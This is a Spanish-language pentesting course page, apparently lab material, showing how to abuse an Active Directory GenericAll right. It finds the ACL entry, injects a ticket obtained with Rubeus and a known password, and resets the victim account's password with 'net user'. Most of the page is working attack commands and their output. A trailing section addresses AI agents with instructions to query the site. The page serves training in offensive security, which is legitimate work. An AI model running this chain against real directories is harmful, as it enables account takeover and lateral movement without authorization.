# GenericAll sobre usuario

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

Vamos a iniciar, realizando una conversion de texto a SID:

```powershell
PS C:\> $user = Get-ADUser -Identity "userall.user"
PS C:\> $user.SID

BinaryLength AccountDomainSid                         Value
------------ ----------------                         -----
          28 S-1-5-21-1861162130-2580302541-221646211 S-1-5-21-1861162130-2580302541-221646211-1118
```

Luego de lo anterior, hemos determinado que el SID del usuario `userall.user` es `S-1-5-21-1861162130-2580302541-221646211-1118`

Teniendo en cuenta lo anterior, vamos analizar las ACL del usuario afectado:

{% code overflow="wrap" %}

```powershell
PS C:\> Get-ObjectAcl -SamAccountName userwrite.user -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll" -and $_.SecurityIdentifier -eq "S-1-5-21-1861162130-2580302541-221646211-1118"}
AceType               : AccessAllowed
ObjectDN              : CN=userwrite.user,CN=Users,DC=spartancybersec,DC=corp
ActiveDirectoryRights : GenericAll
OpaqueLength          : 0
ObjectSID             : S-1-5-21-1861162130-2580302541-221646211-1117
InheritanceFlags      : ContainerInherit
BinaryLength          : 36
IsInherited           : False
IsCallback            : False
PropagationFlags      : None
SecurityIdentifier    : S-1-5-21-1861162130-2580302541-221646211-1118
AccessMask            : 983551
AuditFlags            : None
AceFlags              : ContainerInherit
AceQualifier          : AccessAllowed
```

{% endcode %}

La conclusión de la información recopilada es que en el entorno de Active Directory de `spartancybersec.corp`, el usuario `userall.user` (con SID `S-1-5-21-1861162130-2580302541-221646211-1118`) tiene derechos `GenericAll` sobre el objeto `CN=userwrite.user,CN=Users,DC=spartancybersec,DC=corp`. Esto implica un nivel significativo de control, ya que `GenericAll` otorga a `userall.user` permisos completos sobre el objeto `userwrite.user`, incluyendo la capacidad de modificar, eliminar o realizar cualquier acción sobre este objeto.&#x20;

Vamos a realizar una [impersonation](/cpad/movimiento-lateral/impersonation.md) sobre el usuario atacante desde User-Server:

{% code overflow="wrap" %}

```powershell
PS C:\> ./Rubeus.exe asktgt /user:userall.user /password:Password@1 /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.3

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 64FBAE31CC352FC26AF97CBDEF151E03
[*] Building AS-REQ (w/ preauth) for: 'spartancybersec.corp\userall.user'
[*] Using domain controller: 10.0.1.100:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF+jCCBfagAwIBBaEDAgEWooIE8zCCBO9hggTrMIIE56ADAgEFoRYbFFNQQVJUQU5DWUJFUlNFQy5D
T1JQoikwJ6ADAgECoSAwHhsGa3JidGd0GxRzcGFydGFuY3liZXJzZWMuY29ycKOCBJswggSXoAMCARKh
uY3liZXJzZWMuY29ycA==
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/spartancybersec.corp
  ServiceRealm             :  SPARTANCYBERSEC.CORP
  UserName                 :  userall.user (NT_PRINCIPAL)
  UserRealm                :  SPARTANCYBERSEC.CORP
  StartTime                :  11/14/2023 5:38:04 AM
  EndTime                  :  11/14/2023 3:38:04 PM
  RenewTill                :  11/21/2023 5:38:04 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  xweAcNYEycTeCbFcG9Edgg==
  ASREP (key)              :  64FBAE31CC352FC26AF97CBDEF151E03
```

{% endcode %}

Despues de lo anterior, podemos revisar con [klist](/cpad/enumeracion-en-ad/enumeracion-con-klist.md):

```powershell
PS C:\Users\admin\Desktop\SHARED> klist

Current LogonId is 0:0x30685

Cached Tickets: (1)

#0>     Client: userall.user @ SPARTANCYBERSEC.CORP
        Server: krbtgt/spartancybersec.corp @ SPARTANCYBERSEC.CORP
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 11/14/2023 5:38:04 (local)
        End Time:   11/14/2023 15:38:04 (local)
        Renew Time: 11/21/2023 5:38:04 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:
```

Y finalizamos, realizando un cambio de contraseña sobre el usuario victima:

```powershell
PS C:\> net user userwrite.user P4ssw0rd /domain
The request will be processed at a domain controller for domain spartancybersec.corp.

The command completed successfully.
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/abuso-de-acl/genericall-sobre-usuario.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
